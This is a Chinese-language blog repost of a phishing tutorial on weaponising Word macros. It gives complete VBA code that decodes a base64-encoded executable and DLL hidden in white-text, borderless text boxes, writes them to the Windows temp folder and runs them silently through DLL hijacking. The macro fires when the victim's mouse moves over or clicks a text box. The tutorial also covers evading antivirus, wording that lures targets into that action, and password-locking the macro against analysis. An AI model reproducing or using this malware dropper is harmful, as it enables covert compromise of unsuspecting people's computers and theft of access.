实战 | 钓鱼与社工系列之office宏

admin 2021年12月6日02:03:09评论178 views字数 9342阅读31分8秒阅读模式
0x01 介绍
根据多次项目实战中发现,office宏仍然是最高的成功率,在静默钓鱼中也是最不容易触发人员的警觉。因为大部分员工即使有安全意识,也是不运行陌生的exe程序,但是对于word文档则没有足够的安全意识,认为word文档都是安全的。正是基于此心理状态,office宏在钓鱼中仍然占据重要成分。
当然,现在office在国内市场中其实占据并不多,越来越多人用wps了。那么这种情况下office宏肯定是无效了,下篇文章会针对该情景分析如何钓鱼。


0x02 宏代码流程及免杀

网上有很多项目及文章是如何实现宏免杀的效果,之所以要宏免杀大部分原因都是代码是实现运行宏的时候就直接远程上线到rat上。例如调用powershell或者远程下载等等代码所用到的api或者函数,都被杀软盯着。那么换个思路,我们即不调用powershell执行敏感函数,也不远程下载文件,我们所做要的是释放文件并通过dll劫持实现上线

释放文件其实也是个技术活,经过测试,能否释放文件成功主要看你的文件是不是静态免杀,如果文件静态免杀,那么就能够成功释放。因为这就是个正常的功能,杀软不可能拦截你释放安全的文件,不然就影响一些职业的正常办公了。而我们用的是dll劫持的方法,白名单程序肯定是安全的文件,那么就是我们的恶意dll文件如何实现静态免杀了如何让dll文件静态免杀的方法很多,网上也有很多项目,这块内容不在该文章里,以后会详细讲解。

上段说了释放文件,而文件也都静态免杀了。那么还有一个要注意的地方,那就是dll劫持的程序保存在word文件哪里?首先我们得将dll劫持程序已二进制形式读取出来,然后base64编码后得到了一串字符串,只要释放的时候重新base64解码并已二进制形式写入到磁盘里,这样就能够释放出dll劫持程序了。那么重点就是该base64字符串存放在哪里?千万别放在宏代码里,很容易被杀,最好的规避杀软的方法就是将base64字符串放到word正文里的文本框等控件里然后宏代码去读取文本框里的base64字符串,再解码写入磁盘里并运行白程序实现上线。这样通过该方法就能够实现了宏免杀。

最后一步就是如何触发宏了,千万不要使用打开word文件就触发宏的方法,很容易被杀软拦截。我常用的方法就是弄一个很大的文本框放在第一页,然后当目标的鼠标移动到文本框时就触发宏。这样的方法既能有效规避杀软,还能在目标不知情的情况下触发了宏!
总结:寻找一个dll劫持的白程序,做一个静态免杀的dll文件,将所有文件以二进制形式读取出来并base64编码后存放到word的文本框里。宏代码功能读取文本框里的字符串并解码写入磁盘,然后运行白程序即可免杀上线!


0x03 宏代码


0x03-1 读取文件并base64编码

先使用下面的代码将白程序和dll文件base64编码得到字符串
Sub WriteBinary(FileName, Buf)  Dim I, aBuf, Size, bStream  Size = UBound(Buf): ReDim aBuf(Size  2)  For I = 0 To Size - 1 Step 2      aBuf(I  2) = ChrW(Buf(I + 1) * 256 + Buf(I))  Next  If I = Size Then aBuf(I  2) = ChrW(Buf(I))  aBuf = Join(aBuf, "")  Set bStream = CreateObject("ADODB.Stream")  bStream.Type = 1: bStream.Open  With CreateObject("ADODB.Stream")    .Type = 2: .Open: .WriteText aBuf    .Position = 2: .CopyTo bStream: .Close  End With  bStream.SaveToFile FileName, 2: bStream.Close  Set bStream = NothingEnd Sub
Function Base64Encode(str() As Byte) As String 'Base64 编码 On Error GoTo over '排错 Dim Buf() As Byte, length As Long, mods As Long Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" mods = (UBound(str) + 1) Mod 3 '除以3的余数 length = UBound(str) + 1 - mods ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1) Dim I As Long For I = 0 To length - 1 Step 3 Buf(I / 3 * 4) = (str(I) And &HFC) / &H4 Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10 Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40 Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F Next If mods = 1 Then Buf(length / 3 * 4) = (str(length) And &HFC) / &H4 Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 Buf(length / 3 * 4 + 2) = 64 Buf(length / 3 * 4 + 3) = 64 ElseIf mods = 2 Then Buf(length / 3 * 4) = (str(length) And &HFC) / &H4 Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10 Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4 Buf(length / 3 * 4 + 3) = 64 End If For I = 0 To UBound(Buf) Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1) Nextover:End Function

'VB Base64 解码/解密函数:
Function Base64Decode(B64 As String) As Byte() 'Base64 解码 On Error GoTo over '排错 Dim OutStr() As Byte, I As Long, j As Long Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1) '判断Base64真实长度,除去补位 Dim length As Long, mods As Long mods = Len(B64) Mod 4 length = Len(B64) - mods ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2)) For I = 1 To length Step 4 Dim Buf(3) As Byte For j = 0 To 3 Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1 '根据字符的位置取得索引值 Next OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10 OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4 OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3) Next If mods = 2 Then OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16 ElseIf mods = 3 Then OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16 OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4 End If Base64Decode = OutStr '读取解码结果over:End Function

Sub test2() Dim iFN As Integer Dim sPath As String Dim bFileSize As Long Dim sResult As String Dim arr() As Byte ' 字节数组 Dim arra() As Byte ' 字节数组 Dim infile, outfile, infileBase As String infile = "C:WindowsTemp123.exe" outfile = "c:windowstemp1.exe"
iFN = VBA.FreeFile
bFileSize = VBA.FileLen(infile) 'Debug.Print bFileSize Open infile For Binary Access Read As iFN arr = InputB(bFileSize, iFN) '读取字节流
infileBase = Base64Encode(arr())
'Debug.Print infileBase
Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject")
Set OutPutFile = FSO.OpenTextFile("C:windowstemptest.txt", 2, True) OutPutFile.Write (infileBase) OutPutFile.Close Set FSO = Nothing

'Dim infileBaseExe As String 'infileBaseExe = Range("J22").Value 'infileBaseExe = infileBaseExe + Range("J23").Value
'arra = Base64Decode(infileBase)
'WriteBinary outfile, arra

End Sub

0x03-2 office宏上线代码

从文本框中读取base64内容,解码后写入到c:windowstemp目录下,当用户鼠标移动或点击到文本框中,触发宏执行木马

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtrPrivate Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtrPrivate Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As LongPrivate Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPrivate Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As LongPrivate Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As LongPrivate Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As LongEnd Type
Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As LongEnd Type
Const CREATE_NO_WINDOW = &H8000000Const CREATE_NEW_CONSOLE = &H10
Function fileExist(filePath) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") If fso.fileExists(filePath) Then fileExist = True Else fileExist = False End If Set fso = NothingEnd Function

Function dddddd(B64 As String) As Byte() On Error GoTo over Dim OutStr() As Byte, i As Long, j As Long Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1) Dim length As Long, mods As Long mods = Len(B64) Mod 4 length = Len(B64) - mods ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2)) For i = 1 To length Step 4 Dim buf(3) As Byte For j = 0 To 3 buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1 Next OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10 OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4 OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3) Next If mods = 2 Then OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16 ElseIf mods = 3 Then OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16 OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4 End If dddddd = OutStrover:End Function

Function runCommand(comando) Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim lSuccess As Long Dim lRetValue As Long
lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)
lRetValue = CloseHandle(pInfo.hThread) lRetValue = CloseHandle(pInfo.hProcess)
End Function

Function WriteBinary(FileName, buf) Dim i, aBuf, Size, bStream Size = UBound(buf): ReDim aBuf(Size 2) For i = 0 To Size - 1 Step 2 aBuf(i 2) = ChrW(buf(i + 1) * 256 + buf(i)) Next If i = Size Then aBuf(i 2) = ChrW(buf(i)) aBuf = Join(aBuf, "") Set bStream = CreateObject("ADODB.Stream") bStream.Type = 1: bStream.Open With CreateObject("ADODB.Stream") .Type = 2: .Open: .WriteText aBuf .Position = 2: .CopyTo bStream: .Close End With bStream.SaveToFile FileName, 2: bStream.Close Set bStream = NothingEnd Function

Function releaseFile(path As String, conte As String)
hwminiArra = dddddd(conte) WriteBinary path, hwminiArra


End Function

Function start() Dim filePath As String filePath = "C:Windowstempaaaaaaa.exe" If Not fileExist(filePath) Then releaseFile "C:Windowstempaaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty) releaseFile "C:Windowstempaaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty) End If runCommand (filePath)
End Function



Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single) Static i As Integer i = i + 1 If i < 3 Then start End IfEnd Sub

Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single) Static i As Integer i = i + 1 If i < 3 Then start End IfEnd Sub


0x04 隐藏文本框

将dll劫持的程序base64编码后存放在文本框里

实战 | 钓鱼与社工系列之office宏

文本框的线条设置为无颜色

实战 | 钓鱼与社工系列之office宏

实战 | 钓鱼与社工系列之office宏



实战 | 钓鱼与社工系列之office宏

将base64字符串的字体设置为白色,

实战 | 钓鱼与社工系列之office宏

将最后一页的最上方空白行删掉,那么这时候就看不到文本框了

实战 | 钓鱼与社工系列之office宏

在首页将触发宏的文本框拉到最大,然后话术诱导目标将鼠标移动或点击文本框

实战 | 钓鱼与社工系列之office宏

0x05 宏代码加密

   为了防止宏代码被分析,可以设置密码。当然这仅仅只是防不懂的人,懂的人还是会用工具解密的。

实战 | 钓鱼与社工系列之office宏

实战 | 钓鱼与社工系列之office宏

           实战 | 钓鱼与社工系列之office宏

推荐阅读

内网渗透 | 域渗透之Dcsync的利用实战

零基础进阶系统化白帽黑客学习指南


点赞 在看 转发


作者:ske

原文地址:

https://skewwg.github.io/2020/12/05/diao-yu-yu-she-gong-xi-lie-zhi-office-hong/

实战 | 钓鱼与社工系列之office宏

原文始发于微信公众号(HACK学习呀):实战 | 钓鱼与社工系列之office宏

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月6日02:03:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 钓鱼与社工系列之office宏http://cn-sec.com/archives/661628.html

发表评论

匿名网友 填写信息